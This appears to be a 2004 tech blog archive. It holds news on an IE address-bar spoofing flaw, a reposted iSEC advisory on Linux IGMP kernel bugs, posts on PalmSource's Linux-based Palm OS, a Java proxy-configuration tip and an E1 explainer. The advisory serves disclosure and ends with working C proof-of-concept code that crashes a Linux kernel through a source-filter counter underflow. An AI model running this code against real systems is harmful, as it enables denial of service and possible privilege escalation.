Saturday, December 18, 2004

New IE hole could perfect phishing scams

A newly reported security problem in Microsoft's Internet Explorer (IE) Web browser allows attackers to create a fake Web site that looks exactly like a genuine site...

The vulnerability lets an attacker display any Web site while the address bar in IE will display a trusted Web address, for example https://www.paypal.com/, and even show the icon indicating SSL (Secure Socket Layer) security, security researchers warned on Thursday.

The issue could result in more sophisticated phishing scams, a prevalent type of online attack that typically combines spam e-mail messages and Web pages that look like legitimate e-commerce sites to steal sensitive information such as user names, passwords and credit card numbers.

The problem was discovered by a security researcher from the Greyhats Security Group and reported on Thursday by Danish security company Secunia. The vulnerability lies in an ActiveX control in IE and has been found to affect version 6.0 of the browser running on Windows XP with Service Pack 2 and earlier versions, according to a Secunia advisory.

Microsoft is investigating the report, a company spokeswoman said Friday. "We have not been made aware of any attacks attempting to use the reported vulnerabilities or customer impact at this time, but we are aggressively investigating the public reports," she said.

Upon completion of this investigation, Microsoft may provide a security fix through its monthly release process or as an out-of-cycle security update, she said. Meanwhile, Secunia suggests users protect themselves by disabling ActiveX in IE or setting the IE security level to "high" for the Internet zone.

Banks are trying to combat phishing by educating consumers. Citibank, for example, on its Web site warns customers not to click on links in e-mail messages. Also, Citibank advises customers to manually enter the Web address for the bank in a Web browser to make sure they are dealing with Citibank and not a scammer.


Thursday, December 16, 2004

Linux kernel IGMP vulnerabilities

Multiple locally as well as remotely exploitable bugs have been found in
the Linux IGMP networking module and the corresponding user API...

The IGMP (or internet group management protocol) is today's standard for
delivering multicast functionality to internet hosts. The Linux kernel
incorporates a base set of the IGMPv2 and IGMPv3 specifications and is
subdivided into two logical parts:
- - the IGMP/IP networking module responsible for network level operation,
that is only compiled into the kernel if configured for multicasting,
- - the socket API delivering multicasting capabilities to user level
applications, which is always available on Linux.

Both parts of the IGMP subsystem have exploitable flaws:
(1) the ip_mc_source() function, that can be called through the user API
(the IP_(UN)BLOCK_SOURCE, IP_ADD/DROP_SOURCE_MEMBERSHIP as well as
MCAST_(UN)BLOCK_SOURCE and MCAST_JOIN/LEAVE_SOURCE_GROUP socket SOL_IP
level options) suffers from a serious kernel hang and kernel memory
overwrite problem.

It is possible to decrement the 'sl_count' counter of the
'ip_sf_socklist' structure to be 0xffffffff (that is -1 as signed
integer, see attached PoC code) with the consequence, that a repeated
call to above function will start a kernel loop counting from 0 to
UINT_MAX. This will cause a kernel hang for minutes (depending on the
machine speed).

Right after that the whole kernel memory following the kmalloc'ated
buffer will be shifted by 4 bytes causing an immediate machine reboot
under normal operating conditions. If properly exploited this will lead
to elevated privileges.

(2) Because of the bug (1) it is possible to read huge portions of
kernel memory following a kernel buffer through the ip_mc_msfget() and
ip_mc_gsfget() (user API) functions.

(3) The igmp_marksources() function from the network module is called in
the context of an IGMP group query received from the network and suffers
from an out of bound read access to kernel memory. It happens because
the received IGMP message's parameters are not validated properly. This
flaw is remotely exploitable on Linux machines with multicasting support
if and only if an application has bound a multicast socket.

Discussion:
=============

(1) It is quite obvious that moving around all kernel memory following a
kmalloc'ated buffer is a bad idea. However if done very carefully this
may give a local attacker elevated privileges.

We strongly believe that this flaw is very easily exploitable on SMP
machines (where one thread can interrupt the copy loop before the kernel
gets completely destroyed).

On uniprocessor configurations the exploitability is questionable since
there is no other exit condition from the copy loop than a kernel oops
if we hit a non existing page. If an attacker manages to trick the
kernel to allocate the buffer just right before the end of kernel's
physical memory mapping and also manages to place for example a LDT just
after that buffer, he may gain elevated privileges also on uniprocessor
machines.

(2) No special handling is required to exploit this flaw in conjunction
with bug described in (1). This issue is slightly related to the loff_t
race discovered by iSEC in August 2004. Please refer to

http://www.isec.pl/vulnerabilities/isec-0016-procleaks.txt

for further information about consequences of reading privileged kernel
memory.

(3) The last bug described here refers to a remote kernel vulnerability.
There are several conditions that must be meet for remote exploitation.

First, the kernel must have been compiled with multicasting support and
process incoming IGMP packets. Moreover, an attacker must be able to
send group queries (IGMP_HOST_MEMBERSHIP_QUERY messages) to the
vulnerable machine.

Second requirement is an application on the vulnerable machine with a
bound multicast socket with attached source filter. There are numerous
applications using multicasting like video conferencing or routing
software, just to name few. The attacker must also know the IGMP group
used to perform the attack.

You can check if your configuration is vulnerable by looking at these
files:

/proc/net/igmp
/proc/net/mcfilter

if both exist and are non-empty you are vulnerable!

Since the kernel does not validate the ih3->nsrcs IGMP parameter, the
igmp_marksources() internal kernel function may access kernel memory
outside of the allocated socket buffer holding the IGMP message.
Depending on the relative position of the socket buffer in the kernel
memory this may lead to an immediate kernel crash.

Another consequence is that the kernel will spend most of the CPU time
on scanning useless kernel data right after the buffer if the nsrcs
parameter is very high. If a continuous flow of prepared IGMP packets is
sent to a vulnerable machine, it may stop to process other network
traffic. For an average machine only a moderate IGMP packet flow is
required. This may lead to serious problems in case of routing software.

Impact:
=======

Unprivileged local users may gain elevated (root) privileges. Remote
users may hang or even crash a vulnerable Linux machine.

Credits:
========

Paul Starzetz <ihaquer_at_isec.pl> has identified the vulnerability and
performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF
INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF
ONE OF THE AUTHORS.

Disclaimer:
===========

This document and all the information it contains are provided "as is",
for educational purposes only, without warranty of any kind, whether
express or implied.

The authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in
this document. Liability claims regarding damage caused by the use of
any information provided, including any kind of information which is
incomplete or incorrect, will therefore be rejected.

Appendix:
=========

/*
* Linux igmp.c local DoS
* Warning: this code will crash your machine!
*
* gcc -O2 mreqfck.c -o mreqfck
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/

#include
#include
#include
#include
#include
#include

#define MCAST_INCLUDE 1
#define IP_MSFILTER 41

#define IP_UNBLOCK_SOURCE 37
#define IP_BLOCK_SOURCE 38

struct ip_msfilter
{
__u32 imsf_multiaddr;
__u32 imsf_interface;
__u32 imsf_fmode;
__u32 imsf_numsrc;
__u32 imsf_slist[1];
};

struct ip_mreq_source
{
__u32 imr_multiaddr;
__u32 imr_interface;
__u32 imr_sourceaddr;
};

void
fatal (const char *message)
{
printf ("\n");
if (!errno)
{
fprintf (stdout, "FATAL: %s\n", message);
}
else
{
fprintf (stdout, "FATAL: %s (%s) ", message,
(char *) (strerror (errno)));
}
printf ("\n");
fflush (stdout);
exit (1);
}

int
main ()
{
int s, r, l;
struct ip_mreqn mr;
struct ip_msfilter msf;
struct ip_mreq_source ms;
in_addr_t a1, a2;

s = socket (AF_INET, SOCK_DGRAM, 0);
if (s < 0)
fatal ("socket");

// first join mcast group
memset (&mr, 0, sizeof (mr));
mr.imr_multiaddr.s_addr = inet_addr ("224.0.0.199");
l = sizeof (mr);
r = setsockopt (s, SOL_IP, IP_ADD_MEMBERSHIP, &mr, l);
if (r < 0)
fatal ("setsockopt");

// add source filter count=1
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_BLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt2");

// del source filter count = 0
// imr_multiaddr & imr_interface must correspond to ADD
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt2");

// del again, count = -1
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt3");

// crash
memset (&ms, 0, sizeof (ms));
ms.imr_multiaddr = inet_addr ("224.0.0.199");
ms.imr_sourceaddr = inet_addr ("4.5.6.7");
l = sizeof (ms);
r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
if (r < 0)
fatal ("setsockopt4");

getchar ();

return 0;
}

Saturday, December 11, 2004

An introduction to the new Palm OS & CMS

...before read my next topic, "PalmSource to build Palm OS on Linux", I would rather explain the new Palm OS based on Linux & CMS as an introduction in a FAQ...

Q. Can you give some background on CMS?
A. China MobileSoft Limited is a Bermuda-based holding company, founded in 2000, which owns 100% of MobileSoft Technology (Nanjing), the Chinese operating company. MobileSoft Technology was approved as a Wholly-Foreign Owned Enterprise (“WFOE”) under Chinese law in 2001. A WFOE qualifies for government incentives and is legally treated as a domestic company in China, even though it is funded from overseas. MobileSoft Technology offers a broad range of mobile phone software, from low end to high end. CCID Consulting, an arm of the Chinese Ministry of Information Industry, named the company one of the “30 Chinese Software Enterprises with the Most Growth Potential.”

Q. What are CMS' products?
A. CMS currently offers its customers a wide range of software for mobile phones, including more than a dozen phone applications, operating software for smart and feature phones, and has been developing a version of Linux optimized for mobile devices. In the future, the phone applications and phone software will be able to take advantage of the Palm OS® look and feel and data compatibility, extending the Palm OS ease-of-use to all classes of mobile phones, and will be made available worldwide. CMS and PalmSource customers will continue to be able to customize the user interface to meet the needs of their markets.

Q. Does Palm OS for Linux replace current versions of Palm OS?
A. This is an addition to our line, not a replacement. Other versions of Palm OS continue to be available. As always, we'll make decisions on their future growth path based on feedback from our licensees and other partners.

Q. Will this delay delivery of devices running Palm OS Cobalt?
A. No. Palm OS® Cobalt version 6.1 is already finished, and the software is in the hands of licensees. We expect devices based on it to ship in 2005.

Q. Why Linux?
A. PalmSource's business model has always been based on shared innovation and enabling partners to innovate. The Linux community has the same philosophy, so we think we're a good match for each other.

We think by offering Palm OS for Linux, we can attract more licensees and developers, create more new devices, and bring in more users than either could on its own. Linux has a large community of developers who innovate rapidly and support new technologies aggressively, far faster than any proprietary operating system company can on its own. We bring an award-winning user interface, software frameworks-based on the best of Palm OS® and BeOS®, a large base of professional and consumer applications, and a community of more than 25 million enthusiastic users and over 360,000 registered developers. We believe we can help mobile Linux move beyond the embedded space, and grow rapidly in the consumer and enterprise mobile markets.

We believe that together we'll have the technological and market critical mass to challenge, and beat, even the biggest proprietary operating system companies in the mobile market.

Q. Will existing applications continue to run?
A. We intend to continue to offer the Palm OS® Application Compatibility Environment (PACE), allowing properly written Palm OS 68k applications to run on future versions of the operating system.

Q. When will Palm OS for Linux ship?
A. We intend to provide more information at our developer conference in the Spring.

Q. If you're not shipping yet, why announce now that you’ll support Linux?
A. Our partners -- developers, licensees, operators, chip vendors, and so on -- need to know the long-term future of our software. The development cycle for mobile devices can be very long (for example, some of our licensees plan products up to two years ahead). This happens with almost all platforms. For example, Symbian has announced Symbian OS version 8, but most Symbian products are still based on Symbian 6. And Microsoft has been talking about the next version of Windows for years.


PalmSource to build Palm OS on Linux

...before read this article you may need read the previous topic, "An introduction to the new Palm OS & CMS".Take a look at, I write it down as a FAQ for easily reading, such as a fast track.

PalmSource is to create a new version of the Palm OS with Linux at its core, the company said today after announcing a plan to buy Chinese phone software company China MobileSoft (CMS) ...

With the device market becoming increasingly phone-centric, and with the Chinese market offering a far greater opportunity to device vendors - and their suppliers, like PalmSource - than Europe and North America, it's not hard to see the OS developer's interest in the region.
PalmSource already has a smart phone OS, but it believes CMS code will allow it to extend its reach further downmarket into more basic voice-oriented models. CMS has built a phone platform, mfone, on the back of a home-brewed, ARM- and MIPs-oriented embedded version of Linux, mLinux, and a selection of the usual comms and PIM apps. All these components will be the Palm OS look and feel - and, crucially, data compatibility - over time. What's planned is no mere GUI swap - more the replacement with PalmSource code of CMS' application and that part of the OS sitting above the Linux kernel. Some CMS technology, particularly in the telephony area, may well find its way into the Palm OS.
PalmSource is also likely to take full advantage of Linux's strength in chipset and device support, the better to improve its OS' ability to offer wireless connectivity, such as Wi-Fi and Bluetooth, which if PalmOne and SanDisk's attempts to ship WLAN add-ons are anything to go by, currently need some improvement. Some Linux APIs will be exposed to PalmOS programmers.
Palm's 68k emulation model will be ported to Linux, PalmSource said, to ensure full compatibility with older apps. Software written for Palm OS 6 - aka Cobalt - using the Protein API will probably just need to be recompiled, the company said.
Like Apple with Mac OS X, PalmSource will keep all the top-layer code proprietary, but it will release any changes it makes to the underlying Linux code - for faster boot times and battery life preservation systems, for example - available to the open source community.

Targeting low-end phones

PalmSource will clearly pitch the result as a more open alternative to Symbian and Microsoft's phone operating systems. But it may also improve PalmSource's ability to attract handset makers looking for a less complex operating system than those that typically power smart phones. Not only Symbian and Windows Mobile, but the Palm OS too is generally seen as unsuitable for low-end, low-resource devices. So far only a small percentage of the world's mobile phones fall into the 'smart' category.
While that may not matter to the Nokia's of this world, already equipped with suitable OS technology, it is likely to appeal to companies keen to break into the developing phone markets, and who are more willing to license the technology they need.
If they want a full-featured product, PalmSource has its currently shipping Palm OS 5-based Garnet OS, along with Cobalt. For customers who want something more open, there will be the CMS-derived Linux version, too, replicate Cobalt's feature-set, PalmSource insiders tell us.
CMS' focus on China should help PalmSource's moves in that geographic direction. For all CMS' interest in that market, it was co-founded and is run by Silicon Valley folk, so there should be a good cultural fit with PalmSource. CMS' China sales and R&D operation is run as a subsidiary, MobileSoft Technology (Nanjing), which PalmSource also plans to acquire - doubling its number of engineers at stroke. PalmSource CEO David Nagel was keen to point out that the results of the joint development work will not be restricted to Chinese ODMs - European and North American customers will be welcomed too.
However, it remains the case that many of the device makers most keen on adopting Linux are based in the Far East. Interestingly, it's been actual and potential customers who have pushed for Linux adoption, rather than PalmSource itself, Nagel told The Register.
CMS software is today shipping on 30 Chinese handset designs and has signed ten ODM licences, so its not exactly short of customers.
The deal depends on shareholder and regulatory approval, of course, but if it goes ahead, PalmSource will issue 1,570,000 shares which it will swap for CMS equity. The transaction is anticipated to close before the end of PalmSource's third fiscal quarter, ending 28 February 28 2005.

PalmSource will then be able to announce a 'Palm on Linux' release schedule at its developer conference next Spring. ®


How to use Java to connect with HTTP servers outside your corporate firewall

Summary
This tip will show you how to write Java applications that can get past your corporate proxy and access Web servers on the Internet. Adding proxy support to your Java applications involves writing just a few additional lines of code and doesn't rely on any security "loopholes."

Almost every company is concerned with protecting its internal network from hackers and thieves. One common security measure is to completely disconnect the corporate network from the Internet. If the bad guys can't connect to any of your machines, they can't hack into them. The unfortunate side effect of this tactic is that internal users can't access external Internet servers, like Yahoo or JavaWorld. To address this problem, network administrators often install something called a "proxy server." Essentially, a proxy is a service that sits between the Internet and the internal network and manages connections between the two worlds. Proxies help reduce outside security threats while still allowing internal users to access Internet services. While Java makes it easy to write Internet clients, these clients are useless unless they can get past your proxy. Fortunately, Java makes it easy to work with proxies -- if you know the magic words, that is.

The secret to combining Java and proxies lies in activating certain system properties in the Java runtime. These properties appear to be undocumented, and are whispered between programmers as part of the Java folklore. In order to work with a proxy, your Java application needs to specify information about the proxy itself as well as specify user information for authentication purposes. In your program, before you begin to work with any Internet protocols, you'll need to add the following lines:

System.getProperties().put( "proxySet", "true" );
System.getProperties().put( "proxyHost", "myProxyMachineName" );
System.getProperties().put( "proxyPort", "85" );

The first line above tells Java that you'll be using a proxy for your connections, the second line specifies the machine that the proxy lives on, and the third line indicates what port the proxy is listening on. Some proxies require a user to type in a username and password before Internet access is granted. You've probably encountered this behavior if you use a Web browser behind a firewall. Here's how to perform the authentication:

URLConnection connection = url.openConnection();
String password = "username:password";
String encodedPassword = base64Encode( password );
connection.setRequestProperty( "Proxy-Authorization", encodedPassword );

The idea behind the above code fragment is that you must adjust your HTTP header to send out your user information. This is achieved with the setRequestProperty() call. This method allows you to manipulate the HTTP headers before the request is sent out. HTTP requires the user name and password to be base64 encoded. Luckily, there are a couple of public domain APIs that will perform the encoding for you (see the Resources section).

As you can see, there's not a whole lot to adding proxy support to your Java application. Given what you now know, and a little research (you'll have to find out how your proxy handles the protocol you're interested in and how to deal with user authentication), you can implement your proxy with other protocols.

Proxying FTP
Scott D. Taylor sent in the magic incantation to deal with proxying the FTP protocol:

defaultProperties.put( "ftpProxySet", "true" );
defaultProperties.put( "ftpProxyHost", "proxy-host-name" );
defaultProperties.put( "ftpProxyPort", "85" );

You can then access the files URLs using the "ftp" protocol via something like:

URL url = new URL("ftp://ftp.netscape.com/pub/navigator/3.04/windows/readme.txt" );

If anybody has examples of using a proxy with other Internet protocols, I'd love to see them.

Note: Has only been tested with JDK 1.1.4.

Follow-up Tips!

from Marla Bonar:

For those still using JDK 1.1.7 (with WebSphere 3.0), setting the system properties for proxyHost and proxyPort does not work; conn.getInputStream() either returns with Connection timed out or No route to host. However, I was able to work around this problem by using the URL constructor that takes the Host and Port as parameters (using my proxy host and port):

public URL(String protocol, String host, int port, String file).

from Dylan Walsh:

The method for providing authentication via username and password does not work. "Basic " should be at the start of the authentication string; for example:

String encodedPassword = base64Encode( password );

should be:

String encodedPassword = "Basic " + base64Encode( password );

Also you don't need a separate program to do the base64 encode. You can use the sun.misc.BASE64Encoder() class instead. Here is what the code looks like with both changes:

System.getProperties().put("proxySet", "true");
System.getProperties().put("proxyHost", proxyHost);
System.getProperties().put("proxyPort", proxyPort);
String authString = "userid:password";
String auth = "Basic " + new sun.misc.BASE64Encoder
().encode(authString.getBytes());
URL url = new URL("http://java.sun.com/");
URLConnection conn = url.openConnection();
conn.setRequestProperty("Proxy-Authorization", auth);

from Marcel Oerlemans:

Here's how you use Socks 4 proxy servers:

System.getProperty("socksProxySet", true);
System.getProperty("socksProxyHost", proxyHostName);
System.getProperty("socksProxyPort", proxyPort);
Usually the proxyPort for Socks 4 is port 1080

You can then make your connection using Socks4.

Resources

Monday, December 06, 2004

E1 Technology

Q: What's E1 exactly?What does it mean & how it works?Please explain in brief & complete.
A: E1 is the European equivalent to the American T1. Although both E1 and T1 use 64 kbps channels, they differ in many aspects. E1 is a point-to-point, dedicated, 2.048 Mbps communications circuit that carries 32 channels contrasted with T1's 24 channels. Of these 32 channels, 30 channels transmit voice and data. Unlike T1, E1 always provides clear channel 64 kbps channels.
Of the two remaining channels, one uses time slot 16 and is used for signaling and carrying line supervision (such as whether the telephones are on-hook or off-hook). The other remaining channel uses time slot 0, and is used for synchronization, channel control, and framing control.
There are two options for the physical media:
* 120 ohm twisted pair cabling, typically foil shielded. This is called a balanced interface and uses a DB-15 or 8-pin modular connector.
* 75 ohm coaxial cable. This is called an unbalanced interface because the two conductors do not have an equal impedance to ground, and uses a BNC connector.